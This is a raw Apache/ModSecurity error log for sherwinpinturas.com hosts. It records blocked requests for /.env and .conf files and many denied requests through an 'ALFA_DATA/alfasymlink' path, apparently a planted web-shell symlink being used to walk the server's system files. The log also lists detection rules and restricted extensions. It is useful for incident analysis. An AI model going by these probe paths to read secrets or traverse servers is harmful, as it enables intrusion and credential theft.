[Sun Oct 25 18:51:18.788236 2026] [security2:error] [pid 2910693:tid 2910693] [client 46.151.182.7:45132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6H5hUC0X8RmpNnzXXATgAAAAw"]
[Sun Oct 25 18:51:18.788472 2026] [security2:error] [pid 2910693:tid 2910693] [client 46.151.182.7:45132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6H5hUC0X8RmpNnzXXATgAAAAw"]
[Sun Oct 25 18:51:18.788775 2026] [security2:error] [pid 2910693:tid 2910693] [client 46.151.182.7:45132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6H5hUC0X8RmpNnzXXATgAAAAw"]
[Sun Oct 25 18:51:25.423363 2026] [ssl:error] [pid 2915203:tid 2915203] (70014)End of file found: [client 185.191.171.6:31650] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:51:31.828577 2026] [core:error] [pid 2916802:tid 2916802] (13)Permission denied: [client 167.58.2.242:48328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/cpu_slabs
[Sun Oct 25 18:51:34.408888 2026] [core:error] [pid 2916956:tid 2916956] (13)Permission denied: [client 51.171.90.44:40347] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/cpu_slabs
[Sun Oct 25 18:51:38.740372 2026] [core:error] [pid 2915203:tid 2915203] (13)Permission denied: [client 167.248.215.22:40373] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/cpu_slabs
[Sun Oct 25 18:51:55.500173 2026] [core:error] [pid 2916813:tid 2916813] (13)Permission denied: [client 98.83.72.38:17781] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/ttyS2/close_delay
[Sun Oct 25 18:51:59.470377 2026] [ssl:error] [pid 2916958:tid 2916958] (70014)End of file found: [client 54.80.73.122:62657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:52:01.442190 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 142.166.250.177:42454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/red_zone
[Sun Oct 25 18:52:03.110283 2026] [core:error] [pid 2916804:tid 2916804] (13)Permission denied: [client 69.140.184.246:60203] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/red_zone
[Sun Oct 25 18:52:04.523077 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 92.40.185.213:24382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/red_zone
[Sun Oct 25 18:52:19.127651 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 100.28.204.82:27595] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/devices/0000:00:02.0/resource0_wc
[Sun Oct 25 18:52:27.068848 2026] [ssl:error] [pid 2910679:tid 2910679] (70014)End of file found: [client 44.210.204.255:26101] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:52:31.090591 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 98.82.38.120:47887] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:52:39.656576 2026] [ssl:error] [pid 2916954:tid 2916954] (70014)End of file found: [client 3.231.193.38:54156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:52:43.249450 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 23.23.104.107:25512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:04.0/resource4
[Sun Oct 25 18:52:45.014942 2026] [core:error] [pid 2916957:tid 2916957] (13)Permission denied: [client 197.146.191.2:55226] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/shrink
[Sun Oct 25 18:52:46.974251 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 38.43.244.29:9701] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/shrink
[Sun Oct 25 18:52:48.924292 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 35.150.194.18:21607] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/shrink
[Sun Oct 25 18:52:51.136290 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 54.147.182.90:36604] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:52:59.124719 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 34.231.45.47:20338] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:53:03.099167 2026] [ssl:error] [pid 2917051:tid 2917051] (70014)End of file found: [client 44.196.118.6:41052] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:53:03.877244 2026] [core:error] [pid 2916958:tid 2916958] (13)Permission denied: [client 176.67.80.103:60497] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/trace
[Sun Oct 25 18:53:06.542442 2026] [security2:error] [pid 2910024:tid 2910024] [client 107.172.76.131:65332] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6IRdUWKTB2-zEAVHL72AAAAEE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 18:53:06.542541 2026] [security2:error] [pid 2910024:tid 2910024] [client 107.172.76.131:65332] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6IRdUWKTB2-zEAVHL72AAAAEE"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 18:53:07.154530 2026] [ssl:error] [pid 2916954:tid 2916954] (70014)End of file found: [client 54.83.23.103:8933] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:53:13.612037 2026] [core:error] [pid 2916802:tid 2916802] (13)Permission denied: [client 136.158.11.116:54862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/trace
[Sun Oct 25 18:53:19.329364 2026] [ssl:error] [pid 2916954:tid 2916954] (70014)End of file found: [client 34.239.197.197:5953] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:53:27.574532 2026] [ssl:error] [pid 2916954:tid 2916954] (70014)End of file found: [client 52.3.26.180:15193] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:53:31.173634 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 18.205.91.101:16986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/pci-stub/new_id
[Sun Oct 25 18:53:33.524468 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 185.147.213.199:42347] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/total_objects
[Sun Oct 25 18:53:33.915151 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 24.49.2.199:34672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/total_objects
[Sun Oct 25 18:53:35.240373 2026] [ssl:error] [pid 2916802:tid 2916802] (70014)End of file found: [client 34.206.193.60:8121] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:53:35.896751 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 156.255.187.146:57226] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/total_objects
[Sun Oct 25 18:53:39.645012 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 102.203.209.236:18829] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/total_objects
[Sun Oct 25 18:53:43.337787 2026] [core:error] [pid 2916813:tid 2916813] (13)Permission denied: [client 18.214.138.148:29941] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:01/PNP0F13:00/subsystem/drivers/ec/unbind
[Sun Oct 25 18:53:43.560685 2026] [core:error] [pid 2916802:tid 2916802] (13)Permission denied: [client 70.113.98.7:40879] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/total_objects
[Sun Oct 25 18:53:49.327441 2026] [core:error] [pid 2912588:tid 2912588] (13)Permission denied: [client 79.45.47.33:53212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/cpu_slabs
[Sun Oct 25 18:53:52.529310 2026] [core:error] [pid 2916813:tid 2916813] (13)Permission denied: [client 186.54.202.157:34112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/cpu_slabs
[Sun Oct 25 18:53:55.333953 2026] [ssl:error] [pid 2916802:tid 2916802] (70014)End of file found: [client 3.225.9.97:65416] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:53:57.504159 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 179.56.94.72:33779] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/cpu_slabs
[Sun Oct 25 18:53:59.226274 2026] [ssl:error] [pid 2912588:tid 2912588] (70014)End of file found: [client 54.197.82.195:61183] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:54:01.105450 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 102.97.198.23:32882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/object_size
[Sun Oct 25 18:54:03.648676 2026] [core:error] [pid 2913310:tid 2913310] (13)Permission denied: [client 45.170.80.55:47100] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/object_size
[Sun Oct 25 18:54:06.085134 2026] [core:error] [pid 2912588:tid 2912588] (13)Permission denied: [client 156.146.118.72:46263] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/object_size
[Sun Oct 25 18:54:11.386934 2026] [ssl:error] [pid 2916802:tid 2916802] (70014)End of file found: [client 54.152.163.42:46812] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:54:15.334723 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 3.94.156.104:25361] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:54:27.198552 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 98.83.177.42:50262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/piix4_smbus/remove_id
[Sun Oct 25 18:54:43.839903 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 52.201.155.215:61553] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:54:45.054453 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 176.254.133.175:46037] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/red_zone
[Sun Oct 25 18:54:47.494290 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 166.114.133.132:53308] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/red_zone
[Sun Oct 25 18:54:51.144486 2026] [core:error] [pid 2916954:tid 2916954] (13)Permission denied: [client 38.51.30.143:51060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/red_zone
[Sun Oct 25 18:55:01.866047 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 185.191.171.19:53006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pool_workqueue/validate
[Sun Oct 25 18:55:03.220310 2026] [ssl:error] [pid 2912588:tid 2912588] (70014)End of file found: [client 54.157.84.74:31333] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:55:21.131588 2026] [core:error] [pid 2912588:tid 2912588] (13)Permission denied: [client 191.121.235.243:47592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/sanity_checks
[Sun Oct 25 18:55:23.735025 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 185.191.171.17:25582] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/slabs
[Sun Oct 25 18:55:23.863292 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 102.212.189.23:39964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/sanity_checks
[Sun Oct 25 18:55:25.394650 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 68.193.219.49:41860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/sanity_checks
[Sun Oct 25 18:55:27.034404 2026] [core:error] [pid 2912588:tid 2912588] (13)Permission denied: [client 44.205.120.22:36220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty26/subsystem/ptmx/subsystem/ttyS0/closing_wait
[Sun Oct 25 18:55:31.890167 2026] [security2:error] [pid 2913086:tid 2913086] [client 185.191.171.11:59178] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/tiki22/edit.php"] [unique_id "at6I4_P38Mg1nJbae9X5gQAAAAk"]
[Sun Oct 25 18:55:31.890207 2026] [security2:error] [pid 2913086:tid 2913086] [client 185.191.171.11:59178] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/tiki22/edit.php"] [unique_id "at6I4_P38Mg1nJbae9X5gQAAAAk"]
[Sun Oct 25 18:55:36.316693 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 172.56.165.216:48989] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/trace
[Sun Oct 25 18:55:38.644178 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 24.133.156.240:14942] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/trace
[Sun Oct 25 18:55:42.154083 2026] [core:error] [pid 2916954:tid 2916954] (13)Permission denied: [client 177.185.98.121:46580] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/trace
[Sun Oct 25 18:55:44.397622 2026] [security2:error] [pid 2916902:tid 2916902] [client 38.61.236.106:38246] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/systemd-udev-trigger.service.d/systemd-udev-trigger-no-reload.conf"] [unique_id "at6I8MFRkznfJR6SfvAZKwAAABU"]
[Sun Oct 25 18:55:44.398093 2026] [security2:error] [pid 2916902:tid 2916902] [client 38.61.236.106:38246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/systemd-udev-trigger.service.d/systemd-udev-trigger-no-reload.conf"] [unique_id "at6I8MFRkznfJR6SfvAZKwAAABU"]
[Sun Oct 25 18:55:44.398443 2026] [security2:error] [pid 2916902:tid 2916902] [client 38.61.236.106:38246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/systemd-udev-trigger.service.d/systemd-udev-trigger-no-reload.conf"] [unique_id "at6I8MFRkznfJR6SfvAZKwAAABU"]
[Sun Oct 25 18:55:46.720993 2026] [ssl:error] [pid 2912588:tid 2912588] (70014)End of file found: [client 54.225.81.20:2315] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:55:47.184941 2026] [security2:error] [pid 2913086:tid 2913086] [client 102.130.211.73:57318] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/systemd-udev-trigger.service.d/systemd-udev-trigger-no-reload.conf"] [unique_id "at6I8_P38Mg1nJbae9X5gwAAAAk"]
[Sun Oct 25 18:55:47.185433 2026] [security2:error] [pid 2913086:tid 2913086] [client 102.130.211.73:57318] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/systemd-udev-trigger.service.d/systemd-udev-trigger-no-reload.conf"] [unique_id "at6I8_P38Mg1nJbae9X5gwAAAAk"]
[Sun Oct 25 18:55:47.185757 2026] [security2:error] [pid 2913086:tid 2913086] [client 102.130.211.73:57318] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/systemd-udev-trigger.service.d/systemd-udev-trigger-no-reload.conf"] [unique_id "at6I8_P38Mg1nJbae9X5gwAAAAk"]
[Sun Oct 25 18:55:48.775138 2026] [security2:error] [pid 2916802:tid 2916802] [client 75.166.167.114:47489] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/systemd-udev-trigger.service.d/systemd-udev-trigger-no-reload.conf"] [unique_id "at6I9AD9oqLjuERypnYvPgAAAAc"]
[Sun Oct 25 18:55:48.775987 2026] [security2:error] [pid 2916802:tid 2916802] [client 75.166.167.114:47489] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/systemd-udev-trigger.service.d/systemd-udev-trigger-no-reload.conf"] [unique_id "at6I9AD9oqLjuERypnYvPgAAAAc"]
[Sun Oct 25 18:55:48.776406 2026] [security2:error] [pid 2916802:tid 2916802] [client 75.166.167.114:47489] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/systemd-udev-trigger.service.d/systemd-udev-trigger-no-reload.conf"] [unique_id "at6I9AD9oqLjuERypnYvPgAAAAc"]
[Sun Oct 25 18:55:50.864307 2026] [ssl:error] [pid 2912588:tid 2912588] (70014)End of file found: [client 23.23.214.190:59779] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:55:54.662152 2026] [ssl:error] [pid 2904910:tid 2904910] (70014)End of file found: [client 98.84.200.43:57237] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:56:09.891378 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 45.180.254.169:23743] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/cpu_partial
[Sun Oct 25 18:56:12.451171 2026] [core:error] [pid 2913310:tid 2913310] (13)Permission denied: [client 181.50.114.25:46340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/cpu_partial
[Sun Oct 25 18:56:13.334902 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 88.9.191.89:57808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/partial
[Sun Oct 25 18:56:14.108548 2026] [core:error] [pid 2917408:tid 2917408] (13)Permission denied: [client 201.216.166.127:3839] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/cpu_partial
[Sun Oct 25 18:56:15.255677 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 107.10.224.133:57770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/partial
[Sun Oct 25 18:56:17.171309 2026] [core:error] [pid 2904910:tid 2904910] (13)Permission denied: [client 174.87.50.87:43008] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/partial
[Sun Oct 25 18:56:18.493619 2026] [ssl:error] [pid 2912588:tid 2912588] (70014)End of file found: [client 52.3.155.146:14326] AH02013: coalesce failed to read from data bucket
